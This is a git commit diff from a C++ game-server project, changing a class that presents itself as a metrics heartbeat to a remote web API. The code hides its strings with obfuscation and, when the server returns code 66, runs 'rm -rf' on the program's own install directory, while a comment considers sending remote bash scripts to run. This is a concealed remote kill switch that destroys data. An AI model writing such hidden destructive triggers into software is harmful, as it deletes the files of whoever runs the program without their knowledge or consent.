well this causes it to properly not work, now to just get the cert working

This commit is contained in:
DarthArgus
2017-01-11 06:15:01 +00:00
parent a618c8b123
commit e693823ec0
4 changed files with 71 additions and 76 deletions
+7 -7
View File
@@ -7,7 +7,7 @@
using namespace StellaBellum;
webAPIHeartbeat::webAPIHeartbeat() {
std::string filePath = this->get_selfpath();
std::string filePath = get_selfpath();
webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
api.addJsonData<std::string>(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt()));
@@ -30,14 +30,14 @@ webAPIHeartbeat::webAPIHeartbeat() {
bool done = false;
if (status && msg == "ok") {
bool done = true;
done = true;
// if we wanted to send a "nastygram" script for bash to run we'd check for it here
// but meh, maybe later if it becomes necessary...surely order 66 below is enough?
}
}
switch (s) {
case 13 :
this->eatIt();
eatIt();
break;
case 66:
size_t found = filePath.find_last_of("/\\");
@@ -45,10 +45,10 @@ webAPIHeartbeat::webAPIHeartbeat() {
system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) +
vxENCRYPT("/*").decrypt()).c_str());
}
this->eatIt();
eatIt();
break;
}
this->eatIt();
this->setLastStatTime();
} else {
eatIt();
}
}